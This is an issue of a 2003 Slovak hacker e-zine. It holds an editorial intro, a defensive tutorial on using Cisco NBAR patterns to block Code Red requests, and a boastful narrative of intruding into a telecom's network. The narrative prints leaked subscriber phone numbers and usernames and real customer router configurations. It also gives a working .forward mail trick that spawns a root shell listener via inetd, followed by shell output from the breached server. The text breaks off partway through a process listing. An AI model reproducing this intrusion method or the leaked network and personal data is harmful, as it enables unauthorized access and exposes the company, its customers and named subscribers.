::::::::::. :::::::..   :::.,::::::   :::         ...     .        :   
    `;;;```.;;;;;;;``;;;;  ;;;;;;;''''   ;;;      .;;;;;;;.  ;;,.    ;;;  
     `]]nnn]]'  [[[,/[[['  [[[ [[cccc    [[[     ,[[     [[,[[[[, ,[[[[, 
      $$$""     $$$$$$c    $$$ $$""""    $$'     $$$,     $$$$$$$$$$$"$$$ 
      888o      888b "88bo,888 888oo,__ o88oo,.__"888,_ _,88P888 Y88" 888o
      YMMMb     MMMM   "W" MMM """"YUMMM""""YUMMM  "YMMMMMP" MMM  M'  "MMM
   prielom #20, 6.6.2003, prielom(at)hysteria.sk, http://hysteria.sk/prielom/

obsah




intro

minulu sobotu bola v klube spojka vystava robotov. taki rakuski industrialni umelci. roboty boli take nezmyselne, az to bolo mile. miesali napoje, fajcili zvaro a tak. je to fasa byt mladym_na_zapade, clovek ma cas na taketo vysinute konicky. povedali sme si ze ked raz budeme velki, budeme mlady_na_zapade. budeme stavat nezmyselne roboty a chodit ich ukazovat do blavy.

vlastne aj motat sa okolo tmavej stranky pocitacoveho sveta je asi dost vysinuty konicek. mozno preto je na slovensku a v cechach tak malo ludi s nasim konickom. o to viac treba zjednotit nase hlasy, uz sa tu v intre pisalo o tom ze ma hysterka ambicie stat sa v ociach ludi hlavnym zdrojom alternativneho pohladu na veci okolo informatiky. hadam nam to vyjde. pridajte sa. hladame vselikoho, najviac asi mladych pravnikov, alebo studentov prava, ktori sa motaju okolo zakonov suvisiacich so svetom informacnych technologii a maju na veci iny nazor ako zakonodarci a IT lobby.

inak vsetko po starom, prislo leto, teplo, voda a dalsie prijemne veci s tym suvisiace. co sa stalo od posledneho prielomu ? hysterka zazila jeden reboot sposobeny vypadkom elektriny, ale prezili sme to a bezime dalej, aspon sa mozno konecne po vyse 150 dnovom uptime odhodlame k uz davnejsie planovanym upgradom serveru.

a chysta sa velka letna hysteria session. ak si nedostal pozvanku a mal si dostat – ozvi sa.


pajkus, pajkus(at)hysteria.sk
zyx, zyx(at)hysteria.sk

navrat na obsah
co ty na to ? board




Pouzitie NBAR na identifikaciu a kontrolu utokov

Abstract

Network-Base Application Recognition (NBAR) je jedna z vlastnosti Cisco IOS Software, pomocou ktorej je mozne identifikovat mnoho typov trafficu. Identifikacia je zalozena na charakteristike trafficu od layer 4 az po layer 7. NBAR umoznuje identifikovat traffic roznych typov a jeden z nich mozu byt aj utoky. Je samozrejme, ze po uspesnom identifikovani trafficu ktory vas zaujima, mate uplnu slobodu volby co s nim spravite (napr. drop, obmedzit sirku pasma,..).

Pre priklad vyuzita v realite moze byt tato vlastnost pouzita na zastavenie CODE RED Worm uz na perimeter routry vasej siete. (priklad je uvedeny v clanku)

Overview

NBAR je inteligentny engine v Cisco IOS, urceny na klasifikaciu trafficu. Primarne je urceny pre QoS (Quality of Service), ktoreho ulohou je klasifikovat alebo taggovat traffic podla definovanych pravidiel este pred tym, nez je spracovany v routry (routing). Na zaklade klasifikacie moze router klasifikovany traffic rozdelit do tried, ktore maju napriklad roznu prioritu.

NBAR dokaze klasifikovat siroku oblast aplikacii a protokolov:

Zoznam nativne podporovanych aplikacii a protokolov, ktore mozu byt klasifikovane najdete na cisco web stranke. Kedze utoky mozu prichadzat v roznej forme a mozu pouzivat rozne protokoly a porty ako transportny mechanizmus, je mozne si definovat vlastne aplikacie a protokoly (filtre) pomocou Protocol Description Language Module (PDLM).

NBAR je pristupny na routroch Cisco 2600 a 3600 od verzie 12.1(4)T a na Cisco 7100 a 7200 od verzie 12.0(5)XE2.

Takze NBAR moze klasifikovat mnoho typov trafficu napr. utoky a dalsie funkcie ako rate limiting, access lists mozu byt pouzite na manipulaciu tohto trafficu.

Pouzitie NBAR na kasifikaciu packetov

Pred pouzitim NBAR je nutne aktivovat Cisco Express Forwarding (CEF). NBAR klasifikacia je definovana pomocou class-map. class-map prikaz je pouzity na definovanie jedneho alebo viacerych tried trafficu specifikovaneho zadanymi kriteriami.

Nasledujuci priklad je pouzity na klasifikaciu vsetkeho HTTP trafficu urceneho v URL obsahujuci adresar /test/. * je wildcard, urcujuca ze pred aj za sa mozu vyskytovat rozne znaky.

        class-map match-all http_test
                match protocol http url "*/test/*"

Dalsi priklad klasifikuje cely Secure HTTP (SHTTP) traffic, ktory pouziva TCP port 443.

        class-map match-all http_secure
                match protocol secure-http

Dalsi class map spaja predchadzajuce definicie do jednej, ktora moze byt neskor pouzita. Prikaz match-any znamena, ze traffic zodpovedajuci akemukolvek definovanemo parametru v class-map klasifikuj do triedy. Prikaz match-all je doraznejsi a znamena, ze traffic musi zodpovedat vsetkym definovanym parametrom v class-map.

        class-map match-any ecommerce
                match class-map http_test
                match class-map http_secure

Dalsi class-map pouziva access list na klasifikaciu trafficu do triedy.

        class-map match-all privatenetwork
                match access-group 101
        access-list 101 permit ip 10.1.1.0 0.0.0.255 10.2.2.0 0.0.0.255

Dalsi class-map klasifikuje HTTP URL zalozene na MIME, kde MIME moze obsahovat uzivatelsky definovany textovy retazec.

        class-map match-any audio_video
                match protocol http mime "audio/*"
                match protocol http mime "video/*"

Dalsi class-map klasifikuje URL, ktore obashuje obrazky typu gif,jpg alebo jpeg.

        class-map match-any web_images
                match protocol http url "*.gif"
                match protocol http url "*.jpg|*.jpeg"

Znak | (OR) hra tu istu ulohu ako dva separatne riadky match protocol.

Pouzitie NBAR na registrovanie utokov

Ked uz vieme klasifikovat (selectovat) traffic ktory nas zaujima, je potrebne vediet ako aplikovat na tento traffic QoS alebo security pravidla. Na tento ucel sluzi prikaz policy-map.

Tu je zoznam moznosti ako pouzit policy-map s NBAR:

Pouzitie PDLM v spojeni z NBAR na detekovanie utokov

Protocol Description Language Module (PDLM) je pouzity pre podporu novych protokolov, ktore nie su nativne podporovane v NBAR. Umoznuje administratorom definovat vlastne a teda klasifikovat traffic podla vlastnych predstav. Viac na cisco web stranke, alebo v pripade zaujmu dalsi clanok :).

Performance dopad na router pri pouziti NBAR

Testy ukazuju hodnotu zvysenia zateze CPU o 12 az 15% pri dlzke paketu 300 byte a dlzke toku 90Mbps. Tato je priblizne rovnaka pri dynamickych aj statickych portoch definovanych cez access-list. NBAR vuziva 150 byte-ov DRAM na sledovanie stateful protocol flow. Defaultne NBAR zaberie 1M pamate pre flow zdroje a povoluje stopovat okolo 5000 statful flows bez zabratia vacsej pamate. Samozrejme ze ak potrebuje tak si automaticky zoberie viac memory.

Priklad ako zastavit Code Red Worm

Code Red worm utoci pomocou HTTP requestov na microsoft servre. Cez URL sa pokusa pristupovat k suborom cmd.exe, root.exe a default.ida. Pomocou NBAR funkcie mozme tento traffic klasifikovat. Dolezite je ale vediet ze NBAR nevie klasifikovat pakety, ktore su castou pipeline requestu. Pipeline requesty su menej pouzivany typ HTTP requestu (Code Red Worm II).

        class-map match-any codered
                match protocol http url "*default.ida*"
                match protocol http url "*cmd.exe*"
                match protocol http url "*root.exe*"
        policy-map mark-codered
                class codered
                set ip dscp 1
        interface serial 2/1
                service-policy input mark-codered
        access-list 100 deny ip any any dscp 1
        access-list 100 permit ip any any
        interface ethernet 1/0
                access-group 100 out

zaver

NBAR moze byt jeden z velmi dolezitych nastrojov v rukach administratorov nielen ISP ale aj privatnych sieti. Do istej miery je pouzitelny ako nahrada za Network IDS systemy. Pre maximalne vyuzitie NBAR je potrebne sa ale zamysliet v ktorych miestach siete ho aplikovat a aky traffic sledovat.

Erik Kirschner, kirschner(at)pobox.sk

navrat na obsah
co ty na to ? board




Balada o velkej teleko ropuche

Uvod

Bola raz v malej krajinke v strede europy jedna mala telekomunikacna spolocnost. Mala velku siet, vela zamestnancov, vela zakaznikov, vela reklamy, vela… no vlastne bolo vela toho coho vsetkeho mala vela :). Firma si zila svojim zivotom, malo kto ju mal rad, ale napriek tomu stastne a veselo profitovala a rastla a rastla. Ako tak rastla na svojom poli posobnosti, tak vznikala a rastla aj jej IP siet. Poskytovala sluzby vsetkym moznym jednotlivcom a vsetkym moznym organizaciam. A na tejto spoocnosti zacinalo byt pomaly ale isto zavislich viac a viac ludi a organizacii…

Jemne pretrepeme a nechame 10 minut kvasit

Jednoduchym prikladom su napriklad take skoly spominanej malinkej krajinky v srdci europy. Kazda skola dostala svoje pripojenie k internetu a tak pomaly rastol projekt zvany infovek. V ramci projektu povznikalo par routerov, ktore vlastni tato nasa malinka spolocnost. Kedze kazdy chce mat jednoduchy pristup vsade a k vsetkemu tak sa clovek (mozno cloveci… :)) rozhodli ze preco nedat vsade rovnakych uzivatelov a hesla ked uz to ma byt take jednoduche a prakticke.

Lenze…

Nasa firma bohuzial pozabudla.. alebo jej to nemal kto povedat ? To asi tu a teraz nevyriesime. Jednoducho nikoho nenapadlo ze po svete je velmi vela ludi co nemaju co robit a tak vymyslaju najroznejsie veci. Jednou takou vecou je napriklad hrabanie sa v sietach roznych malinkych firiem, ktore nechavaju k dispozicii svoje male bezvyznamne routre. Ved nech sa studenti ucia ked si nemozu dovolit kupit si take veci domov :). A tak prisiel clovek.. alebo ludia ? To uz si nikto dnes nepamata… Ktory zahadnym sposobom ziskali pristup na vsetky routery tohoto projektu “internet do skol” ci ako sa to volalo. To by nebolo nic zle, ved co moze taky bezny clovek robit s routerom na ktorom nema ani enable mod.

Vyhrejeme trubu na 150 stupnov

A tak si niekto obcas pobehal po routeroch a skusal kam vsade sa dostane, proste taky vikendovy sport niekto ide na pokec.sk niekto sa connectuje po routeroch teleko ropuch. Connectuje sa a connectuje az jedneho neskoreho horuceho dna zisti ze sa connectol na nieco co uz nevyzera celkom ako nejaky obycajny router ktory ma ledva 2,5 interfejsu. Celkom netusi kam sa to vlastne pripojil, lebo taku vec este nikdy nevidel 🙂 A tak skuma a po par minutach zisti ze dana vec… co to len moze byt ? ma nejake prikazy ako “show isdn active” a ako tak pozera co to ten prikaz vypisuje tak tam vidi rozne mena a telefonne cisla a co ja viem co este vsetko. A ked ten clovek len tak nahodou bezi cez ISDN tak s prekvapenim skonstatuje nieco typu: “hm… to je moj user a moje telefonne cislo” :). Takze uz je cloviecikovi celkom jasne kam sa mu to uplnou nahodou podarilo pripojit. A tak pozera a hlada dalej a rozmysla ako by to mohol vyuzit. Tu uz to nebolo ale take “easy” ako na routeroch po ktorych lozil clovek predtym. Tu uz mal aj enable mod a s takym niecim uz sa daju podnikat nejake veci. (minimalne reload a podobne neprijemnosti 🙂

ako take nico vyzeralo ? maly priklad:

	User Access Verification
	Username: to nie je az tak podstatne ;)
	Password: to uz vobec nie je podstatne
	STIP_KE_AD1>enable
	Password:
	STIP_KE_AD1#
A co to tu mozme vlastne pouzivat za prikazy ?
ke-nas-1#show isdn active
        --------------------------------------------------------------------------------
                                        ISDN ACTIVE CALLS
        --------------------------------------------------------------------------------
        Call    Calling      Called       Remote  Seconds Seconds Seconds Charges
        Type    Number       Number       Name    Used    Left    Idle    Units/Currency
        --------------------------------------------------------------------------------
        In   0566684810   ---N/A---  +.c530.84ec   +08616   -       -
        In   0557298252   ---N/A---      1.2.3.4    31112   -       -
        In   0556950282   ---N/A---   dncmetal55    18981   -       -
        In   0557288831   ---N/A---   siulmiku55    13991   -       -
        In   0557298381   ---N/A---   dominika95    13728   -       -
        In   0554648323   ---N/A---        vlaky    12192   -       -
        In   0557292002   ---N/A---   turlvlad95    10769   -       -
        In   0557291741   ---N/A---  +0002800300    10548   -       -
        In   0566281662   ---N/A---   patakeva94    10423   -       -
        In   0566481150   ---N/A---                 10304   -       -
        In   0557998098   ---N/A---  +ab0b10036d     9516   -       -
        In   0556742129   ---N/A---                  9018   -       -
        In   0557999147   ---N/A---   fatrajsk46     8918   -       -
        In   0514583145   ---N/A---                  8533   -       -
        In   0566882921   ---N/A---   ondojana94     8419   -       -
        In   0566384468   ---N/A---                  8267   -       -
        In   0556450325   ---N/A---                  7307   -       -
        In   0556450408   ---N/A---                  7270   -       -
        In   0556336018   ---N/A---   strakala55     7090   -       -
        In   0556336408   ---N/A---   tomkamil55     6895   -       -
        In   0554662412   ---N/A---   gedeonvi55     6825   -       -
        In   0566425761   ---N/A---                  6685   -       -
        In   0556970081   ---N/A---                  6647   -       -
        In   0566790030   ---N/A---                  6632   -       -
        In   0554665442   ---N/A---                  6609   -       -
        In   0556744293   ---N/A---                  6561   -       -
        In   0566281691   ---N/A---   sabovlad94     6241   -       -
        In   0566881031   ---N/A---                  6225   -       -
        In   0557296391   ---N/A---  +0002800300     6135   -       -
        In   0566420903   ---N/A---                  6090   -       -
        In   0556941300   ---N/A---   semjanpa55     6077   -       -
        In   0557896032   ---N/A---   medicale95     6068   -       -
        In   0556711318   ---N/A---                  5978   -       -
        In   0556257237   ---N/A---   karolloh95     5955   -       -
        In   0566888083   ---N/A---   mikostef94     5873   -       -
        In   0556325568   ---N/A---   liptbria95     5742   -       -
        In   0566682260   ---N/A---   salajoze94     5713   -       -
        ...
fiha to vyzera ako nejaki dialup usery 🙂

a hned ponukame maly vysek z “sh run”:

	aaa new-model
	aaa authentication password-prompt "Enter Your Access Password:"
	aaa authentication username-prompt "Welcome in ISDN ST_OnLine, Enter Your Username:"

teraz uz mu bolo jasne ze sa jedna o “nejaky” ISDN dialup co je to to ISDN ST_OnLine ? nie je to to na co sme nuteni kazdy den pozerat na billboardoch, v televizii, pocuvat o tom v radii a neviem kde vsade ? Asi to s tym nieco bude mat spolocne. Prve co kazdeho cloveka pri takejto spolocnosti napadne je co tak zariadit aby sa ST_OnLine zmenilo na ST_OffLine ? Ved to nie je problem mame full access na vsetky ISDN dialupy tak ich staci pozhadzovat. Ale tu by zabava skoncila a my sme predsa dobraci a tak radsej budeme dalej lozit po sieti a hladat ci sa nenajde nieco viac (a ono sa toho este vela vela vela najde ;).

Co dalej?

Ked mame uz niekde pristup, nebolo by zle poobzerat sa ako to je cele nakonfigurovane a ako to vlastne funguje, ako je co s cim poprepajane atd. Dalsim krokom je logicky poukladat poctivo vsetky konfiguracie a pocas dlhych vecerov namiesto romanov citat configy cisco routerov. A vzhladom na to ze clovek (zvlast ten nas) je tvor lenivy tak to aj nejaky ten cas trvalo. Ale naslo sa vela dalsich pouzitelnych veci (taky user ehmehm s ktorym sa dostaneme rovno do enable modu na vacsine uz nie malych bezvyznamnych routerov infoveku ale velkych dost podstatnych routerov. Takze uz nemame jedneho usera, ale hned dvoch (univerzalnych). Binarna sxizofrenia zacina.. 🙂

	username (ehmehm) password 7 (ehmehm)

Zrazu sme sa s nasim malym pribehom dostali o kusok dalej. “(ehmehm)” bol user ktory bol vlastne klucom k celemu zvysku siete. Nasi dobrodruhovia sa s nim mohli uz pripajat takmer vsade (cca 90% siete). Pomaly si zaciname klast otazku preco firma ktora ma tolko zakaznikov a tolko penazi absolutne ignoruje to ze jej velmi dlhu dobu lozi po sieti este nejaky paralelny admin/paralelni admini. Ale to znova my riesit v nasej story nebudeme ;). Tak zrazu ma niekto v rukach celu velku siet a nevie celkom co s nou lebo je tak velka ze sa v nej musi chvilu orientovat. V ramci relaxacie a pasivity sa zacneme len tak telnetovat kade tade a zistujeme ze sa na vacsinu miest s nasim novym userom dostavame rovno do enable modu. Teraz by sa hodilo dalsich par prikladov kam to vlastne mame pristup:

	Trying 192.108.148.30...
	Connected to Telecom-gw.six.sk (192.108.148.30).
	Escape character is '^]'.
	                    The Slovak Internet Exchange
	             Slovak Technical University Computer Centre
	                     Bratislava, SLOVAK REPUBLIC
	                      Gateway to Slovak Telecom
	User Access Verification
	Username: (ehmehm)
	Password:
	ba-six-1>
to bola taka mensia ceresnicka (tortu treba jest od vrchu ;)) a teraz dalej. Dobra vec co nasa firma robi je to, ze si ku kazdemu interfejsu napise description, takze mame slusny prehlad o tom kam mame pristup, resp. kto vsetko su jej zakaznici. napriklad (ostavame pripojeni tam kde sme boli o par riadkov vyssie…): len male vyseky z “sh interf”
	Hardware is C6k 1000Mb 802.3, address is 0001.c9db.4dcc (bia 0001.c9db.4dcc)
	Description: ISL trunk to cat2900, BA-Jarabinkova, 1.posch.
	Hardware is GigabitEthernet Interface, address is 0009.e979.724a (bia 0009.e979.724a)
	Description: ADSL test segment
teraz prejdeme na dalsi:
	Description: Line To Matsushita Krompachy, KRMP-SNVS NP501
	Hardware is 4T/MC68360
	Description: Line to Maurice Ward & Co, SNVS-SNVS NP508
	Hardware is 4T/MC68360
	Description: SEZ Krompachy Krompachy-SNVS NP502
	Hardware is MPA-E1
	Description: line to Kosice via SDH (ke-snvs np2)
dalsi priklad:
	interface Serial2/2
	 description VUB-2nd line, BA-BA NP 539
	 bandwidth 1024
	 ip address 212.5.209.153 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	 no ip mroute-cache
	!
	interface Serial2/3
	 description Line to CMSS_BA Gateway
	 bandwidth 1024
	 ip address 195.146.128.181 255.255.255.252
	 no ip directed-broadcast
	 no ip mroute-cache
	 clockrate 1007616
	!
	interface Serial3/0
	 description Line to Allianz BA-BA NP545
	 bandwidth 512
	 ip address 212.5.209.189 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	 no ip mroute-cache
	!
	interface Serial3/1
	 description Statna pokladnica NP1423 (BA - BA 30n5046)
	 bandwidth 2048
	 ip address 10.1.10.1 255.255.255.252
	 ip access-group 77 out
	 no ip directed-broadcast
	 encapsulation ppp
	 no ip mroute-cache
	!
	interface Serial3/2.1 point-to-point
	 description BA-BA FRP143 - DLCI 205 - Zakladna skola (sluch. post.)
	 bandwidth 64
	...
dalsie interfejsi… (skoly vynechavame tych je vela 🙂
	interface Serial4/0:1
	 description Fond ochrany vkladov BA - BA NP 590 3ts
	 bandwidth 64
	 ip address 212.5.209.45 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	!
	interface Serial4/0:3
	 description Line to HTC BA-BA NP516 TS 7-10
	 bandwidth 256
	 ip address 195.146.128.205 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	 load-interval 180
	!
	interface Serial4/0:4
	 description Tronet - ministerstvo BA-BA NP580
	 bandwidth 256
	 ip address 212.5.209.233 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	!
	interface Serial4/0:5
	 description metalurg BA-BA NP 503 TS 15-16
	 bandwidth 128
	 ip address 212.5.209.17 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	!
	interface Serial4/0:6
	 description docasny okruh BRATISLAVA-STUPAVA NP9992 ts 29-30
	 no ip address
	 no ip directed-broadcast
	 load-interval 360
	 shutdown
	!
	interface Serial4/0:7
	 description Sutkova Lucia BA - BA NP 584 e1 4/0 17-20TS
	 bandwidth 256
	 ip address 212.5.209.253 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	interface Serial4/0:9
	 description Velvyslanectvo Chorvatskej republiky BA-BA NP586
	 bandwidth 128
	 ip address 212.5.209.37 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	!
	interface Serial4/0:10
	 description line to Fond pre podporu ZO, BA-BA NP509 ts 24-27
	 bandwidth 256
	 ip address 195.146.128.225 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	!
	interface Serial4/0:23
	 description Autorizacne centrum BA-BA NP589
	 bandwidth 64
	 ip address 213.81.239.21 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	interface Serial5/1:0
	 description Line to PriNet D-Zone BA-BA NP801
	 bandwidth 2048
	 ip address 195.146.128.245 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	 load-interval 240
	 priority-group 1
	!
	interface Serial5/2:0
	 description Line to VUB VPDN BA-BA NP1382
	 bandwidth 2048
	 ip address 212.5.209.225 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	 load-interval 360
	 no fair-queue
	!
	interface Serial5/3:0
	 description Line to TV Markiza BA-BA NP581 Slov. telev. spolocnost
	 bandwidth 2048
	 ip address 212.5.209.77 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	 load-interval 360
	 no fair-queue
	!
	interface Serial5/4:0
	 description truckshow
	 ip address 212.5.209.69 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	!
	interface Serial5/5:0
	 description www.markiza.sk BA - BA NP 582
	 bandwidth 2048
	 no ip address
	 no ip directed-broadcast
	 encapsulation ppp
	 no ip route-cache cef
	 no ip route-cache
	 load-interval 30
	 no fair-queue
	 ppp multilink
	 multilink-group 1
	!
	interface Serial5/6:0
	 description www.markiza.sk#2 BA - BA NP 583
	 bandwidth 2048
	 no ip address
	 no ip directed-broadcast
	 encapsulation ppp
	 no ip route-cache cef
	 no ip route-cache
	 load-interval 30
	 no fair-queue
	 ppp multilink
	 multilink-group 1
	!
	interface Serial5/7:0
	 description docasna linka cofax ba-ba np 998
	 bandwidth 2048
	 no ip address
	 no ip directed-broadcast
	 encapsulation ppp
	 load-interval 360
	 shutdown
mat uplny pristup niekde kde su taketo linky ma iste svoje vyhody.. ake to uz nechavame na vasej fantazii 😉 a prikladame dalsie, tentokrat z bb-ce-1:
	interface Ethernet1/1
	 description New line to MINV BB, 1024kbps, cisco2600, ZS, NP503
	 ip address 195.146.132.233 255.255.255.252
	 no ip redirects
	 no ip directed-broadcast
	!
	interface Ethernet1/2
	 description backup WebHouse (Cat1 2/24 VLAN5)
	 ip address 212.5.216.61 255.255.255.0
	 ip access-group 107 out
	 no ip redirects
	 no ip directed-broadcast
	 standby priority 90
	 standby preempt
	 standby ip 212.5.216.1
	!
	interface Ethernet1/3
	 description Managment (BB-Cat1 2/19)
	 ip address 195.146.132.16 255.255.255.224
	 no ip directed-broadcast
	!
	interface Serial2/0
	 description Line to Softip Enduser (NP502 BB-BB)
	 ip address 195.146.132.249 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	 bandwidth 512
	 custom-queue-list 1
	!
	interface Serial2/1
	 description #line for VPDN-Isternet bb-bb np30
	 ip address 195.146.132.245 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	 bandwidth 1024
	 shutdown
	!
	interface Serial2/2
	 description Line to Slov.Agent.Ziv.Prostr. NP504(n120c37p0-n128c3p1)
	 ip address 195.146.132.241 255.255.255.252
	 encapsulation ppp
	 bandwidth 512
	!
	interface Serial2/3
	 no ip address
	 bandwidth 128
	 shutdown
	 priority-group 9
	!
	interface Serial3/0
	 description line to ST_BB
	 ip address 195.146.132.225 255.255.255.252
	 ip access-group 119 in
	 no ip directed-broadcast
	 encapsulation ppp
	 clockrate 125000
	!
	interface Serial3/1
	 description #line for VPDN-Isternet bb-bb np30
	 ip address 195.146.132.245 255.255.255.252
	 no ip directed-broadcast
	 encapsulation ppp
	 bandwidth 2048
	 no fair-queue
	!
teraz vynimocne skoly nevynechame…
	!
	interface Serial3/2.1 point-to-point
	 description BB-BB FRP35 - DLCI 200 - Gymnazium
	 ip address 213.81.175.1 255.255.255.252
	 no ip directed-broadcast
	 bandwidth 64
	 frame-relay interface-dlci 200
	!
	interface Serial3/2.2 point-to-point
	 description BB-BREZ FRP11 - DLCI 201 - Zakladna skola
	 ip address 213.81.175.5 255.255.255.252
	 no ip directed-broadcast
	 bandwidth 64
	 frame-relay interface-dlci 201
	!
	interface Serial3/2.3 point-to-point
	 description satellite - DLCI 202 - Zakladna skola (mad.)
	 ip address 213.81.175.9 255.255.255.252
	 no ip directed-broadcast
	 bandwidth 64
	 frame-relay interface-dlci 202
	!
	interface Serial3/2.4 point-to-point
	 description BB-RIMS FRP15 - DLCI 203 - Zakladna skola
	 ip address 213.81.175.13 255.255.255.252
	 no ip directed-broadcast
	 bandwidth 64
	 frame-relay interface-dlci 203
	!
	interface Serial3/2.5 point-to-point
	 description BB-RIMS FRP16 - DLCI 204 - Zakladna skola
	 ip address 213.81.175.17 255.255.255.252
	 no ip directed-broadcast
	 bandwidth 64
	 frame-relay interface-dlci 204
	!
	interface Serial3/2.6 point-to-point
	 description VINI-ZVOL FRP10 - DLCI 205 - Zakladna skola (mad.)
	 ip address 213.81.175.21 255.255.255.252
	 no ip directed-broadcast
	 bandwidth 64
	 frame-relay interface-dlci 205
	!
	interface Serial3/2.7 point-to-point
	 description ZVOL-ZARN FRP10 - DLCI 206 - Zakladna skola
	 ip address 213.81.175.25 255.255.255.252
	 no ip directed-broadcast
	 bandwidth 64
	 frame-relay interface-dlci 206
	!
	interface Serial3/2.8 point-to-point
	 description BB-ZVOL FRP13 - DLCI 207 - Stredna priemyselna skola
	 ip address 213.81.175.29 255.255.255.252
	 no ip directed-broadcast
	 bandwidth 64
	 frame-relay interface-dlci 207
	!
	interface Serial3/2.10 point-to-point
	 description BB-BB FRP36 - DLCI 209 - MC Banska Bystrica
	 ip address 213.81.175.37 255.255.255.252
	 no ip directed-broadcast
	 bandwidth 64
	 frame-relay interface-dlci 209
	!
	interface Serial3/2.11 point-to-point
	 description BB-TISOVEC FRPxx DLCI 210 - Evan. gymn.
	 ip address 213.81.175.109 255.255.255.252
	 no ip directed-broadcast
	 bandwidth 64
	 frame-relay interface-dlci 210
	!
	interface Serial3/2.12 point-to-point
	 description BB-BS FRP11 id301 SPS Akademicka Banska St
	 ip unnumbered Loopback0
	 no ip directed-broadcast
	 bandwidth 128
	 frame-relay interface-dlci 214
	!
	interface Serial3/2.13 point-to-point
	 description BB-BS FRP10 id1 Gymnazium Gwerkovej Banska St
	 ip unnumbered Loopback0
	 no ip directed-broadcast
	 bandwidth 128
	 frame-relay interface-dlci 215
	!
	interface Serial3/2.14 point-to-point
	 description BB-FI FRP10 id24 Gymnazium Nam.padl. Filakovo
	 ip unnumbered Loopback0
	 no ip directed-broadcast
	 bandwidth 128
	 frame-relay interface-dlci 217
	!
	interface Serial3/2.21 point-to-point
	 description id322 SPS Laskomerskeho 3 Brezno
	 ip unnumbered Loopback0
	 bandwidth 128
	 frame-relay interface-dlci 211
	!
	interface Serial3/2.22 point-to-point
	 description id405 ZS K. Raposa Skolska 5 Brezno
	 ip unnumbered Loopback0
	 bandwidth 128
	 frame-relay interface-dlci 212
	!
	interface Serial3/2.26 point-to-point
	 description id457 OA Lipova 8 Handlova
	 ip unnumbered Loopback0
	 bandwidth 128
	 frame-relay interface-dlci 220
	!
	interface Serial3/2.27 point-to-point
	 description id338 OA Jarmocna 30 Modry Kamen
	 ip unnumbered Loopback0
	 bandwidth 128
	 frame-relay interface-dlci 222
	!
	interface Serial3/2.28 point-to-point
	 description id412 SOU polnohospodarske + DOS Osvety 17 Nova Bana
	 ip unnumbered Loopback0
	 bandwidth 128
	 frame-relay interface-dlci 219
	!
	interface Serial3/2.29 point-to-point
	 description id553 II. ZS  Sturova 12 Detva
	 ip unnumbered Loopback0
	 bandwidth 128
	 frame-relay interface-dlci 221
	!
	interface Serial3/3
	 description link to STIP_BB_CAR S0/0
	 ip address 195.146.132.177 255.255.255.252
	 encapsulation ppp
	 ip ospf cost 11300
	 no fair-queue
	 clockrate 2000000
	!
	interface Serial4/1:1
	 description Sluzobny BB-BB NP516 2022/02/40
	 ip address 195.146.132.221 255.255.255.252
	 encapsulation ppp
	 bandwidth 64
	!
	interface Serial4/1:2
	 description BB samospravny kraj NP517 BB-BB
	 ip address 195.146.132.229 255.255.255.252
	 encapsulation ppp
	 bandwidth 128
	!
	interface Serial4/1:5
	 description VPDN Slovenska posta, NP505, BB-BB TS4-5, HDLC
	 ip address 195.146.132.213 255.255.255.252
	 bandwidth 128
atd. tak to bol maly strucny prehlad toho co sa v tejto spolocnosti okrem vela inych veci nachadzalo, mozno este aj nachadza :).

Kapitanov dennik, hviezdny datum XY (od cisca k unixom)

Teraz by sme mohli prejst od tych skaredych velkych drahych cisco routerov k nejakym peknym milym a este drahsim SUNovskym serverom. V telecome asi strasne radi backupuju a najroznejsie backupy nechavaju len tak povalovat na serveroch (konkretne na logserver.telecom.sk) pochopitelne z pravami rw pre vlastnika a r pre groupu a ostatnych. Tak ako dalej uvidime v tychto backupoch sa da najst kade co :). K SUNom bol pristup bohuzial len cez ftp s “ehmehm” userom, ale dalo sa to velmi jednoducho napravit:

takze pod nasim uzivatelom sme si vytvorili v jeho home subor .forward s nasledovnym obsahom :))
|"/bin/echo "listen stream tcp nowait root /bin/sh sh" > /tmp/.h; /usr/sbin/inetd -s /tmp/.h"
a potom uz len stacilo poslat uzivatelovi ehmehm mail a:
telnet> Trying 195.146.132.10...
Connected to mail.telecom.sk.
Escape character is '^]'.
uname -a
SunOS logserver 5.8 Generic_108528-13 sun4u sparc SUNW,Ultra-30
ps -aAf
     UID   PID  PPID  C    STIME TTY      TIME CMD
    root     0     0  0   Apr 15 ?        0:00 sched
    root     1     0  0   Apr 15 ?        0:27 /etc/init -
    root     2     0  0   Apr 15 ?        0:00 pageout
    root     3     0  0   Apr 15 ?       22:37 fsflush
    root   320     1  0   Apr 15 ?        0:00 /usr/lib/saf/sac -t 300
    root   396     1  0   Apr 15 console  0:00 /usr/lib/saf/ttymon -g -h -p logserver console login:  -T sun -d /dev/console -
  nobody 26131   300  0   May 06 ?        0:06 /www/bin/httpd -DSSL
    root    53     1  0   Apr 15 ?        0:00 /usr/lib/sysevent/syseventd
    root    55     1  0   Apr 15 ?        0:00 /usr/lib/sysevent/syseventconfd
  nobody 29309   300  0   May 06 ?        0:06 /www/bin/httpd -DSSL
    root   313     1  0   Apr 15 ?        5:48 /usr/local/bin/prngd /var/spool/prngd/pool
    root  8494     1  0   Apr 23 ?        2:50 /usr/lib/sendmail -bd -q15m
    root   186     1  0   Apr 15 ?       16:32 /usr/sbin/nscd
    root   171     1  0   Apr 15 ?       65:06 /usr/sbin/syslogd
    root   177     1  0   Apr 15 ?        0:38 /usr/sbin/cron
    root  6275     1  0   Apr 30 ?        2:34 /usr/sbin/inetd -s
  nobody 29306   300  0   May 06 ?        0:07 /www/bin/httpd -DSSL
    root   310     1  0   Apr 15 ?        0:00 /usr/local/sbin/sshd
